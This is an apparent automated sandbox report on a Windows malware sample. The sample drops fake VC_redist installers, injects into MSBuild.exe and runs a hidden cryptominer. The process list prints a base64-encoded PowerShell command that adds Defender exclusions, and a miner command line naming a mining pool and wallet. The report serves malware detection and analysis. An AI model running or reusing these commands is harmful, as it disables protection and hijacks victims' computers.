Analysis
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max time kernel
148s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20250207-en -
resource tags
arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system -
submitted
11-02-2025 11:47
Static task
static1
Behavioral task
behavioral1
Sample
a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe
Resource
win10v2004-20250207-en
General
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Target
a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe
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Size
5.4MB
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MD5
7bee3a8f387bbbc84ab90a8a92be6dc6
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SHA1
d93b5a47af4094bb8d900a8a6feb89bcbf38c118
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SHA256
a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385
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SHA512
95cbe2ed9005342fa1caf3a192f636fd9c8ef64df8f7baaeb09a701c209ef139da90e61a1fd24efef0c4d078706a8acdc082ac7b3f5c138ca5341d6b829846af
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SSDEEP
98304:ZsskiQvHYE7PyrHXIJ1zqRfm0zWPReVl23hIJyNm4/acqTsg:wiyYaH1q9z6eVlPJygsg
Malware Config
Signatures
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Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF VC_redist.x64.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2124 powershell.exe -
Downloads MZ/PE file 1 IoCs
flow pid Process 37 824 Process not Found -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3591594829-2464889670-1367169939-1000\Control Panel\International\Geo\Nation a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe -
Executes dropped EXE 3 IoCs
pid Process 972 VC_redist.x86.exe 3716 VC_redist.x64.exe 1184 Method.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1184 set thread context of 3468 1184 Method.exe 95 PID 3468 set thread context of 4368 3468 MSBuild.exe 97 -
Embeds OpenSSL 1 IoCs
Embeds OpenSSL, may be used to circumvent TLS interception.
resource yara_rule behavioral2/files/0x000c000000023cf9-2649.dat embeds_openssl -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language VC_redist.x64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MicrosoftEdgeUpdate.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2468 MicrosoftEdgeUpdate.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2124 powershell.exe 2124 powershell.exe 3716 VC_redist.x64.exe 3716 VC_redist.x64.exe 3716 VC_redist.x64.exe 3716 VC_redist.x64.exe 3716 VC_redist.x64.exe 3716 VC_redist.x64.exe 3716 VC_redist.x64.exe 3716 VC_redist.x64.exe 1184 Method.exe 1184 Method.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe 3468 MSBuild.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 972 VC_redist.x86.exe Token: SeDebugPrivilege 2124 powershell.exe Token: SeDebugPrivilege 1184 Method.exe Token: SeDebugPrivilege 3468 MSBuild.exe Token: SeLockMemoryPrivilege 4368 AddInProcess.exe Token: SeLockMemoryPrivilege 4368 AddInProcess.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4368 AddInProcess.exe -
Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 220 wrote to memory of 972 220 a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe 85 PID 220 wrote to memory of 972 220 a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe 85 PID 220 wrote to memory of 3716 220 a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe 90 PID 220 wrote to memory of 3716 220 a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe 90 PID 220 wrote to memory of 3716 220 a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe 90 PID 1184 wrote to memory of 3468 1184 Method.exe 95 PID 1184 wrote to memory of 3468 1184 Method.exe 95 PID 1184 wrote to memory of 3468 1184 Method.exe 95 PID 1184 wrote to memory of 3468 1184 Method.exe 95 PID 1184 wrote to memory of 3468 1184 Method.exe 95 PID 1184 wrote to memory of 3468 1184 Method.exe 95 PID 3468 wrote to memory of 4368 3468 MSBuild.exe 97 PID 3468 wrote to memory of 4368 3468 MSBuild.exe 97 PID 3468 wrote to memory of 4368 3468 MSBuild.exe 97 PID 3468 wrote to memory of 4368 3468 MSBuild.exe 97 PID 3468 wrote to memory of 4368 3468 MSBuild.exe 97 PID 3468 wrote to memory of 4368 3468 MSBuild.exe 97 PID 3468 wrote to memory of 4368 3468 MSBuild.exe 97 PID 3468 wrote to memory of 4368 3468 MSBuild.exe 97 PID 3468 wrote to memory of 4368 3468 MSBuild.exe 97 PID 3468 wrote to memory of 4368 3468 MSBuild.exe 97 PID 3468 wrote to memory of 4368 3468 MSBuild.exe 97 PID 3468 wrote to memory of 4368 3468 MSBuild.exe 97 PID 3468 wrote to memory of 4368 3468 MSBuild.exe 97 PID 3468 wrote to memory of 4368 3468 MSBuild.exe 97 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe"C:\Users\Admin\AppData\Local\Temp\a8750b5975e3f52c9285f811e9fe22cf19cc9b097fd96ee945623965c613a385.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:220 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x86.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:972
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C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\VC_redist.x64.exe"2⤵
- Enumerates VirtualBox registry keys
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3716
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAUABlAHIAbQBpAHMAcwBpAG8AbgBTAGUAdABcAE0AZQB0AGgAbwBkAC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAUABlAHIAbQBpAHMAcwBpAG8AbgBTAGUAdABcAE0AZQB0AGgAbwBkAC4AZQB4AGUA1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2124
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C:\Users\Admin\AppData\Roaming\PermissionSet\Method.exeC:\Users\Admin\AppData\Roaming\PermissionSet\Method.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3468 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u RVN:RX3AxWc9oV9n9E9uqRRyXpXh5kNuhqQyc5.RIG_CPU -p x --cpu-max-threads-hint=503⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4368
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C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7NTFGQkI4OTItMUNFMS00NUQ5LUI3NTctRjlENDVGNDJBNUQ0fSIgdXNlcmlkPSJ7QjFERTBDNDgtMjZFMy00NzEwLTgyNEUtRUQyMjg1N0M1RDExfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NzY1MkI2MUQtMkI5My00NjkzLUEzRjEtMDM5OEVCNkI4RUUxfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSIzIiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDU1NzgiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxODAxNjUyMzAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI1MTI4NTY4ODA0Ii8-PC9hcHA-PC9yZXF1ZXN0Pg1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:2468
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
8.5MB
MD5f1d1d8dc0494c69f77e03f6b5366a2a4
SHA12f20af746b4e69db58c3c0383365ba9da7c6bf26
SHA25611c9dd0e206ed62d39c85600cda77706e91691b3b6557746a916c0bbe5a60721
SHA512df0c70cb54faef30891da8fb7c8e9e877adbe004ee2348d780131586113d50e3d8ed2966538a69dcdeb5f14f689fb53f913a0747062241813d3b0ad1a064da04
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Filesize
626KB
MD5abab3febb6ef9c10eb9ecdbebbbc128c
SHA1cda81cd8994098f779de7e1510049daf667fb844
SHA2567614eb6c0d335ac226aec01e855d50c683d9b18529dfc066e51b3163c5f54f3d
SHA512855993982c0660f85ac53defd959f56d912897b5f67afb673dfbf4c1b984abf81ba198ed22553c2aa94f239bcd40e45f7400a7c8c87e79f316f7496cd231db9c
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82